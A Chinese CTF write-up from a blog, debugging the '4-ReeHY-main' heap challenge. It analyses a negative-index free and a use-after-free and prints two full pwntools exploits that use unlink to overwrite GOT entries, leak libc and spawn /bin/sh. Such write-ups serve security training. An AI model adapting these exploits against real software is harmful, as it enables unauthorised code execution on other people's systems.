• 万能钥匙ctf--4-ReeHY-main调试记录--unlink


    查询题目保护开启,发现只开了NX,未开启RELRO和PIE,思路可以从修改got表展开。

     

    ida装载分析程序执行流程,main函数发现是一个常规的菜单类题目,推测为堆相关题目。

     

    Malloc函数。分配最大不超过4096,且如果大小超过112就直接放入堆区,否则先存入栈区,再拷贝到堆区。存在结构体保存堆大小、堆指针以及标记是否分配。

     

     

    Delete函数。直接删除,并没有判断标记是否被删除。删除后标记置0,但是未进行指针置0,存在uaf情况,可利用点为double free。观察没有判断输入为负的情况,可能存在问题。

     

    Edit函数。判断是否被释放,未被释放才可以编辑。向堆区输入长度为申请时结构体保存的长度的字符串。

     

    Show功能无效

     

    利用思路:

    从free函数分析来看,首先未判断free的块号是否为负,可能存在释放后再申请内存不缺定的情况,可能分配到关键地方。

    使用free(-2)会释放保存堆块大小数组的内存地址,再申请即可申请回来该地址从而进行修改。

     

     

    上图即是保存申请堆块大小的数组内容,是一个size为20的堆块。

    至于为什么要free(-2),我们从free函数的汇编代码分析,我们重点关注输入和free之间发生了什么。从下图中看出,首先比较输入是否小于4,接着将输入逻辑左移4位后值为-32,即0x20。因此执行汇编代码后释放的为0x6020c0,即保存堆大小的内存区域。

     

    由于该块大小为0x20,即属于fastbin,我们可以释放后再申请同样大小的堆块即可返回该内存区域。通过下图的payload修改chunk0地址为0x100,用于覆盖chunk1。

     

    接着我们可以编辑chunk0,我们在chunk0中伪造一个chunk,其状态为释放,fd和bk指针指向0x6020e0,该值保存的为申请的堆块指针。我们利用该指针进行unlink检查的绕过,执行完unlink后该值会被改为0x6020e0-0x18,即0x6020c8。这时,当我们再次编辑chunk0时,我们编辑的实际地址为0x6020c8,我们可以通过该地址溢出控制后面地址。

     

    现在,我们在编辑chunk0即从0x6020c8开始编辑,通过覆盖修改结构体的值与是否分配的标记。

     

    现在我们还缺少system的地址。我们通过修改free函数为puts函数来打印出puts的真实地址。这里有个坑点需要注意,在修改got的值时,不能用sendline函数,也就是说不能在末尾自动加xa0,会出错,因此需要将edit函数做修改,使得发送的内容为io.send(content)。

     

    这之后,我们还缺少“/bin/sh”字符串,观察程序,我们发现atoi函数需要我们输入参数,而调用system函数也需要我们输入参数,因此我们把atoi函数改为system函数,并发送/bin/sh字符串。这里不知道为什么执行完上述free(1)后竟然自动recv了剩下的字符,没办法用edit,只能手写一下。

     

    完整exp如下:

      1 #!/usr/bin/env python
      2 # coding=utf-8
      3 
      4 from pwn import *
      5 DEBUG = True
      6 
      7 if DEBUG:
      8     io = process('./pwn3')
      9     libc = ELF('./ctf.so.6')
     10     context.log_level = 'debug'
     11 else:
     12     io = remote('172.168.17.2',10001)
     13 
     14 def welcome():
     15     io.recvuntil('$ ')
     16     io.sendline('frdqy')
     17 
     18 def add(size,index,content):
     19     io.recv()
     20     io.sendline('1')
     21     io.recv(1024)
     22     io.sendline(str(size))
     23     io.recv(1024)
     24     io.sendline(str(index))
     25     io.recv(1024)
     26     io.sendline(str(content))
     27 
     28 def free(index):
     29     io.recv()
     30     io.sendline('2')
     31     io.recv(1024)
     32     io.sendline(str(index))
     33 
     34 def edit(index,content):
     35     io.recv()
     36     io.sendline('3')
     37     io.recv(1024)
     38     io.sendline(str(index))
     39     io.recv(1024)
     40     io.send(content)
     41 
     42 system_off = libc.symbols['system']
     43 puts_off = libc.symbols['puts']
     44 g_point = 0x6020e0      #保存申请堆块的结构体
     45 fd = g_point-0x18       #unlink绕过检查
     46 bk = g_point-0x10       #unlink绕过检查
     47 free_got = 0x602018
     48 puts_got = 0x602020
     49 atoi_got = 0x602058
     50 puts_plt = 0x4006d0
     51 
     52 def exp():
     53     welcome()
     54     add(0x80,0,'a'*0x80)
     55     add(0x80,1,'b'*0x80)
     56     
     57     #gdb.attach(io)
     58     free(-2)            #释放后在申请会返回到保存堆块大小的数组内存上
     59     
     60     payload = ''
     61     payload += p32(0x80*2)
     62     payload += p32(0x80)
     63     payload += p32(0)
     64     payload += p32(0)
     65     add(20,2,payload)   #修改已申请的堆块大小分别为0x100、0x80,填充剩下的值
     66 
     67     #溢出块0
     68     payload = ''
     69     payload += p64(0)   #chunk0 pre_size
     70     payload += p64(0x81)#chunk0 size
     71     payload += p64(fd)  #chunk0 fd
     72     payload += p64(bk)  #chunk0 bk
     73     payload += 'a'*(0x80-32)
     74     payload += p64(len(payload))    #chunk1 pre_size
     75     payload += p64(0x90)    #chunk1 size
     76     edit(0,payload)
     77 
     78     #unlink
     79     free(1)
     80     
     81     #再编辑chunk0,实际编辑的就是g_point - 0x18的值,可以覆盖到保存堆指针的结构体
     82     payload = ''
     83     payload += p64(0)
     84     payload += p64(0)
     85     payload += p64(0)
     86     payload += p64(free_got)    #第一项修改为free_got
     87     payload += p64(1)
     88     payload += p64(puts_got)    #第二项修改为puts_got
     89     payload += p64(1)
     90     payload += p64(atoi_got)    #第三项修改为atoi_got
     91     payload += p64(1)
     92     edit(0,payload)
     93 
     94     #此时在编辑chunk0、chunk1、chunk2即可修改对应的函数值
     95     #修改free_got的值为puts从而泄漏计算出libc加载地址
     96     edit(0,p64(puts_plt))
     97    
     98     #打印puts_got的值
     99     free(1)
    100     puts_addr =u64(io.recv()[0:6]+'x00x00')
    101     system_addr = puts_addr - puts_off + system_off
    102     
    103     #将atoi改为system
    104     #edit(2,p64(system_addr))
    105     io.sendline('3')
    106     io.recv()
    107     io.sendline('2')
    108     io.recv()
    109     io.sendline(p64(system_addr))
    110  
    111     #输入/bin/sh
    112     io.sendline('/bin/sh')
    113     io.interactive()
    114     
    115 exp()

    解法二:double free

    本解法不使用上述free(-2)这种操作,本方法更贴近于通用处理free后未置0的情况。

    当你申请两个chunk后全部释放在申请两倍大小的chunk,此时glibc会返回给你初始chunk的地址,而由于free未置0,可以执行double free操作,通过第二次申请回来的大块修改原来释放的小块,在进行double free第二块(注意free的chunk不能在free链首),即可造成unlink,其余的操作与上述相同。

    完整exp如下:

     1 #!/usr/bin/env python
     2 # coding=utf-8
     3 from pwn import *
     4 import sys
     5 DEBUG = True             
     6 if DEBUG:
     7     io = process('./pwn3')   
     8     context.log_level = 'debug'
     9 else:   
    10     io = remote(sys.argv[1], int(sys.argv[2]))
    11     
    12 def welcome():
    13     io.recvuntil('name: 
    $')
    14     io.send('pediy')
    15 
    16 def create(index,size,content):
    17     io.recvuntil('*********
    $')
    18     io.send('1')
    19     io.recvuntil('Input size
    ')
    20     io.send(str(size))
    21     io.recvuntil('Input cun
    ')
    22     io.send(str(index))
    23     io.recvuntil('Input content
    ')
    24     io.send(content)    
    25 def delete(index):
    26     io.recvuntil('*********
    $')
    27     io.send('2')
    28     io.recvuntil('Chose one to dele
    ')
    29     io.send(str(index))
    30 
    31 def edit(index,content):
    32     io.recvuntil('*********
    $')
    33     io.send('3')
    34     io.recvuntil('to edit
    ')
    35     io.send(str(index))
    36     io.recvuntil('the content
    ')
    37     io.send(content)
    38 
    39 def exp():    
    40     system_off = 0x45390
    41     puts_off = 0x6f690
    42     got_addr = 0x602018
    43     p_addr = 0x602100
    44     puts_plt = 0x4006d0 
    45      
    46     welcome()
    47     create(0,0x20,'/bin/shx00')
    48  
    49     create(2,0x100,'BBBB')
    50     create(1,0x100,'CCCC')
    51     #gdb.attach(io)
    52     delete(2)
    53     delete(1)
    54     
    55     payload = ''
    56     payload += p64(0)
    57     payload += p64(0x101)
    58     payload += p64(p_addr-0x18)
    59     payload += p64(p_addr-0x10)
    60     payload += 'a'*(0x100-4*8)
    61     payload += p64(0x100)
    62     payload += p64(0x110)
    63 
    64     create(2,0x210,payload)
    65     #unlink
    66     delete(1)
    67     #*p = p-0x18 = 0x602100-0x18 = 0x6020e8
    68     payload = ''
    69     payload += p64(1)           #0保存/bin/sh
    70     payload += p64(got_addr)    #1--free()
    71     payload += p64(1)
    72     payload += p64(got_addr+8)  #2--puts()
    73     payload += p64(1)
    74    
    75     #修改所有数组的堆块指针为got表函数指针
    76     edit(2,payload)
    77    
    78     #free-->puts
    79     edit(1,p64(puts_plt))
    80     
    81     #puts(puts_got)
    82     delete(2)
    83     puts_addr = io.recv(6)
    84  
    85     system_addr = u64(puts_addr+'x00'*2)-puts_off+system_off
    86  
    87     edit(1,p64(system_addr))    #将free修改为system函数
    88     
    89     #free chunk0实际system,且参数为/bin/sh
    90     delete(0)
    91     io.interactive()
    92 
    93 exp()
  • 相关阅读:
    CentOS 6.5环境实现corosync+pacemaker实现DRBD高可用
    通达OA2008优化前端web为lnmp环境及后续优化
    CentOS 6.5环境使用ansible剧本自动化部署Corosync + pacemaker环境及corosync常用配置详解
    利用mycat实现基于mysql5.5主从复制的读写分离
    登录服务器windows2008出现:远程桌面服务当前正忙,因此无法完成您尝试执行的任务。请在几分钟后重试。其他用户应该仍然能够登录
    CentOS 6.5使用Corosync + pacemaker实现httpd服务的高可用
    ansible的安装部署及简单应用
    centos6.7安装系统后看不到网卡无法配置IP的解决办法
    Error: Cannot retrieve metalink for repository: epel. Please verify its path and try again
    centos6环境创建局域网http方式的yum源
  • 原文地址:https://www.cnblogs.com/xingzherufeng/p/9885860.html
Copyright © 2020-2023  润新知